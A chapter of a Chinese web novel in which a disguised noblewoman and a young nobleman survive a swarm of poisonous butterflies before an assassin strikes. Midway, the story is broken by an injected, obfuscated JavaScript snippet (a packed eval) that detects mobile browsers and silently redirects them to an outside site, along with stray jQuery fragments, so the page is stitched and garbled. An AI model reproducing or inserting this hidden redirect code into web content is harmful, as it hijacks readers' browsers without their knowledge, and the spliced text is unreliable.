蝶群就这样与他们擦肩而过,越过了他们又重新飞回了莲花台的上空,绕着他们慢慢盘旋,却迟迟没有再扑下来。兵荒马乱之后,空气中除了蝶翼震颤的声音,竟然诡异地安静了起来。
“就,就这样?”沈彦辞喃喃道。
“怎么可能。”晓山青轻嗤了一声,放下了手。但她并不看那盘旋的蝶群,反而死死盯着蝶群涌出的昏暗入口。
沈彦辞按捺下心底的不安,心有余悸地左看右看。
四周已是没什么人了。除了几个满身血迹倒在地上自顾不暇的,该跑的已经跑了,该躲起来的也已经躲起来了。一把系着红绸的曲项琵琶被丢在了莲花台上,孤零零躺在那里,本在莲花台上的舞姬大概已藏进了哪个暗门。渐渐地,那点虚弱的呻吟声也弱了下来。楼外尚且有高呼“走水”的人声,而楼内除了蝶翼震颤的声音,竟诡异地安静了起来。
可他的余光忽然扫到了一抹红。
他有些迟钝地眨了眨眼睛。
“红色”在天下明玉堂里是再正常不过的颜色了。地毯是深红的,帷幔是茜红的,舞姬的唇脂是各种各样的朱色。说句好笑的,现在躺在那里生死不明的、摔在地上六神无主的人,但凡被那斑纹艳丽的蝴蝶沾过一点,衣衫上也或多或少染着红。
——但是,但是。
他睁大眼睛。
视线里那只垂落下来的手又动了动,一滴鲜艳到刺痛他眼睛的液体顺着那手的指缝滑落,融入深红的地毯里消失不见,沈彦辞才恍然自己看到了什么。
“郡主。”
“你的……手。”
他吐出了这几个字,像是被什么卡住脖子般没了下文。
晓山青用余光瞥了他一眼。
你的手受伤了?在流血?
晓山青懒得推测他没说完的话是什么。
她满不在乎地看了看自己的掌心。伤口是她刚刚用藏在袖子里的刀片顺手划的,此刻刀片还藏在她的两指之间。血滴滴答答地淌个不停,划过了半个掌面,看着是有点触目惊心,其实压根算不了什么。
但沈彦辞这句“郡主”还是提醒了她,她指尖刀片一转裁下了一截袖子,把布料覆在了脸上,在脑后牢牢绑紧。
她能感觉到有人在看她——不止一道视线,不是来自楼下,而是来自背后,来自周围,来自五楼或者更高的楼上。
她向来对这些东西很敏感。
——但应当没有人会注意她的脸吧?
晓山青想。
她现在未施粉黛,素面朝天,与那个娇贵的“昌平郡主”简直是天差地别。何况她当郡主时也不常出现于人前,便是出现了,她也喜欢拿一柄罗扇挡着脸——应当没有人会把她的脸与昌平联系到一起吧?
她仰头注视那道宽阔的楼梯。此刻五楼的灯似乎已经被完全灭了,黑洞洞的入口一片死寂,仿佛凶兽张大的巨嘴。
她压住脾气,耐心地等待着。
一片寂静之中,“呲——啦——”一声响起。
晓山青:“?”
这是什么?
她迟疑着回头,看到沈彦辞正攥着自己的衣衫下摆,双手猛地发力,一声倒吸气声后,那上好的料子只是被扯得微微变形。他面上掠过一丝尴尬,转而去扯被蝶群刮破了的袖口——这次倒是成功了,只是指节都绷得发白了,那幅袖子还没被扯下来一半。
晓山青看着他,从牙缝里挤出一句:“沈小公子这是打算干嘛?”
沈彦辞悻悻地松开手,咳了咳:“这料子是从江宁府弄来的织金锦,实在有点难撕……咳咳,我就是想替郡,不,阿青妹妹包一下手上的伤口。”
晓山青朝地上横七竖八躺着的人扬了扬下巴:“……不用,等你包完了我们都得成那样了。”
沈彦辞埋头继续撕,好声好气道:“怎么不用,难道让我看着你的手继续这样流血吗?便是我们素不相识,我也看不下去。”
他的语气有种幽怨的自暴自弃:“反正现在也跑不掉了。也不知道天下明玉堂的人哪儿弄出来这些鬼东西,上次他们弄了一只黑豹来拍卖时我就觉得不妙,呵呵……算了,事到如今,等他们想出法子来救人,我也都该凉透了。到时候陆开仪一查出来死在我旁边的人是谁,我沈家上下十几口人口不保,黄泉路上也不孤单。”
“陆开仪……他还管这个?”晓山青的额头跳了跳,一时间不知道该先说什么。
“他在京兆府挂了职,平时虽不管事,但只要是奇案,都会从他手里过一遍。”沈彦辞闷闷地絮叨,“我没和他打过交道,但以我对他的了解,他必然会把每个人的祖宗十八代都掘一遍……”
他似乎打开了话匣子一般,自顾自滔滔不绝地说下去,也不管晓山青有没有在听。
晓山青实在忍不住了,出声打断了他:“死不了。”
“怎么死不了?”沈彦辞看上去很绝望,他环顾了一圈周围,指了指他们不远处那个还在低低呻吟着的胖子,“你看,他都这样了。”
就是那个因为吃醉酒,迎面撞上蝶蛊躲都来不及躲的人。
晓山青本没来得及细看他,闻言飞快地往那儿瞥了一眼,也忍不住有些咋舌。
那人瘫软在地,肿泡似的眼下两片浓重的青黑,连呼吸都带着浑浊的酒气,臃肿的身躯像一滩烂泥般陷在地毯里。华贵的锦袍被蝶群撕扯得褴褛不堪,露出底下血淋淋的浮肿皮肉。旁边有个小厮躲在桌下,还有些力气,抖着腿来拖他,却怎么也挪不动他一点。
空气里渐渐弥漫起一股骚臭气。
晓山青无法描述自己的心情,反正很微妙吧。
“完了……”
“对,完了,大家一起完蛋。”沈彦辞很顺嘴地接了口。
“怎么这样啊,怎么这么不挑,什么脏的臭的都碰。沾了这口酒囊饭袋的臭肉,养得再好的蛊都会生病的吧?”晓山青嘀咕。
沈彦辞:“?”
他惊恐:“它们要是挑了,岂不是先来咬我们两个?”
晓山青带着这副一言难尽的表情回头看他,举起了自己尚在流血的左手:“不,它不会再攻击我们了——你以为为什么刚刚我们两个能逃过一劫?”
沈彦辞肃然道:“因为平日含章行善积德……”
晓山青看了她两眼,忽然笑了。
“沈含章,不要装傻。”她柔声道,“我知道你是聪明人,至少比崔泓要聪明得多。”
“含章实在当不起如此赞誉。”沈彦辞拨弄着手上被他撕得破破烂烂的袖子,苦笑。
“没关系,我喜欢聪明人。”晓山青无所谓地勾了勾嘴角,“我不介意聪明人知道一些无关紧要的小秘密。”
“金斑蝶的鳞粉无毒,只有轻微的致幻作用,吸点鳞粉其实也死不了。至于那些伤口,就算不止血,也还能活过今天。但是别忘了,蝴蝶是食腐动物。”她幽幽道,“就算你没死,它也会想方设法让你腐烂。”
“刚刚还说它无毒……”沈彦辞选了一条长度合适的布条。
“它的鳞粉是无毒,”晓山青笑了,“但我没说它的口器无毒啊?此毒会从伤口入血,周转全身,只要注入毒足够多,人就会从内脏开始腐烂。在一天之内,活生生地,烂完。”
“不过你放心,这批金斑蝶已经在上三层见过血了,不出意外的话,剩下的毒素也不够再死那么多人了。”她跳到栏杆边上,踮起脚眺望了一圈,随口点了点人数,“一,二,三,四……算了,不数了,遭点罪而已,反正来这里的都不是什么好东西。”
沈彦辞跟在她身后把她拽下来,苦口婆心地看着她:“不要乱晃,万一那鬼东西又下来了呢。”
“不会下来的。”晓山青回头,“这种蝴蝶靠气味辨人,我的血……和常人不一样,可以混淆它们,现在它们分辨不出来我是谁,若是你与我离得近,也是一样的道理。我本想着用这法子把你送到二楼去,但现在,恐怕不行了。”晓山青看着沈彦辞的动作,突然卡壳了:“我说了那么多,你到底听没听……怎么还要给我包扎?”
“这是阿青妹妹从小被送去山上的原因吗?”抓着她的手的沈彦辞平平地“嗯”了一声,“我也说了,我没办法做到一动不动地站到这里,看着面前姑娘的手一直流血。”
“没带伤药,阿青妹妹将就一下。”
晓山青:“……”
不,这不是。其实我只是因为常年喝谢歧的血,血里带上了一点他的蛊毒而已,请不要说的好像我爹不管娘不爱,童年过得很不幸福一样。
血浸湿了沈彦辞裁下来的布料,晓山青不说话了。
“接下来我们怎么办?”
晓山青想了想,低声道:“等。”
“等什么?”沈彦辞问。
好问题,等什么。
等如今正在背后悄悄看她的陌生气息出现?这批人是谁,是天下明玉堂里还没有洗白的“江湖势力”吗?他们打算什么时候出现,怎么解决这堆烂摊子?
还是等真正的罪魁祸首出场?
晓山青的眼睫微微一颤。
她忽然道:“痛。”
沈彦辞被她唬得愣了一下:“那、那我弄松一点?”
“含章哥哥,你帮我吹吹?”晓山青歪头看着他。
“吹……吹什么?”沈彦辞一愣一愣的。
“这个啊。”晓山青把手心举到了他面前,仿佛理所当然般道:“吹吹就不痛了。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792975|185748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“啊?我……吹?这样吗?”沈彦辞试探性地气若游丝般吹了半口气。
晓山青:“……”
算了,能糊弄住人就好。
她等的——就是此刻!
晓山青骤然回身,顺手抡起一把月琴就抽了回去。
来者一击不中,借着她的力荡了出去,骤然开始乱舞的蝶群盖住了他的身影。整个大厅的烛火应声摇曳,仿佛有阴风掠过。
月琴震得晓山青手心发麻,血又顺着手掌滴滴答答地滑了下来。
随后是换了个方向而来的鬼魅一般的第二击,第三击。
她分身乏术,百忙之中抽空回头一看,看到沈彦辞在原地僵硬得像块木头,气得大喊:“发什么呆呢,还不快跑!你以为他是冲我来的吗?”
傻孩子,谢歧那疯子是来杀你的啊!
“砰”一声,又是一声巨响。
晓山青丟了折断的月琴,又随手抽掉了手心浸满血的布条,团成一团丟到了梦中惊醒般的沈彦辞怀里:“去找崔泓,直接把他扛走。”顿了顿又道:“拿好这东西,能保你平安出去。”
“我……”
晓山青冷冷地注视着漫天冲撞的艳丽蝶群,一脚踹出一条长凳,替他拦住了从侧方来的谢歧。
谢歧那张脸从烛火下一闪而过,又遁入了黑暗之中。
密密麻麻的蝶蛊实在是太干扰视线了,晓山青心烦意乱,几次差点让他得手。好在沈彦辞靠谱起来的时候够靠谱,叫他跑就跑,不知钻到了哪个暗道里,背影一闪就不见了。
晓山青收起杂思,准备敛息应对谢歧。但就在她凝神静气的刹那,躁动的蝶群已骤然向两侧分开。
这次实在是太近了。
她连着向后跳了四五步,最后跃到了栏杆之上,依旧没挡住谢歧欺面而来之势。
来不及做出抵挡的动作了。她只有顺势后仰,任由自己从栏杆上向下摔去,然后在半空中调整落地的姿势。
真的是装什么“长安贵女”装多了,太久没活动筋骨了。晓山青不免有点恼火。
"咚——"
落地,脚下微微一扭。而莲花台的台面竟然还发出了轰鸣的鼓声。
晓山青愣了愣,感受了一下脚下奇怪的触感。
原来这莲花台的中央居然是一面巨大的牛皮鼓。舞姬于台上起舞,一步一踏就是一个鼓点,真是活色生香,尽收风月之妙。
但是此刻不是细想这个的时候。
就这一点微小的停顿,她被紧随她跳下来的谢歧扣住了手腕,毫不收敛力道地向后一扯,狠狠地掼在莲花台中央。晓山青闷哼了一声,抬眼,正好对上谢歧发红的眼睛。
便是这一抬眼,她愣着不动了。
他发丝尚且空中翻飞,苍白的面孔上带着不正常的红晕,一串飞溅的鲜血如同红梅绽放在他眼角,连带着浓密的睫毛上也沾着血雾。
他就这样把她压在身下,一动不动地盯着她。
晓山青抬手摸了摸他的衣襟,果然是濡湿的,不知是他的血还是旁人的血。浓厚的血气铺面而来,他整个人仿佛被血浇透了一般,仿佛从地府爬出来的恶鬼。
她忽地记起梦中的某一段情节来。
梦里的时间是迷蒙的,这事在梦里又不是那么重要。晓山青只记得这一段是谢歧不知在哪里把自己搞的一身伤,浑身是血地回到陆府,恰巧被陆瑶光见了。陆瑶光放心不下,要亲自帮他包扎,然而伤药刚刚拿出来,来陆府拜访老师的太子撞见了这一幕,于是太子又吃上了飞醋。之后便是老套的误会,解除误会,再误会,再解除误会,无数次误会后,终于两心相许……哦,似乎也没完全许上,太子就等不及了,想要强娶。
当时她一心只关心阿娘,对这段兴致缺缺,只觉得与寨子里老阿婆口中那些老掉牙的故事没什么分别。连谢歧受伤的理由都总很荒谬——反正来来去去,都不过是为了陆瑶光。
她在她的梦里有见到这么一个满身是血的谢歧吗?晓山青想。
也许有吧,但梦里的东西太多了,她漠不关心地把那个“谢歧”撇到了脑后。在之后许多其他选择里,她又把谢歧放在了她永远不会选择的位置。
事实上,即使是谢歧真的以这样的样子出现在了她面前,她的反应也不是很剧烈——不过是“没有再无动于衷”而已。
在某些方面,她冥顽不灵,堪称愚钝。
但此时此刻,此间此地,对着这样的眼神,便是愚钝如她,也说不出“是为了陆瑶光”这样的话来。
她难得生起了一些怜悯。
于是她抬手,摸了摸谢歧的脸颊,什么也不问,只轻声道:“怎么把自己搞成这样了呢,谢歧。”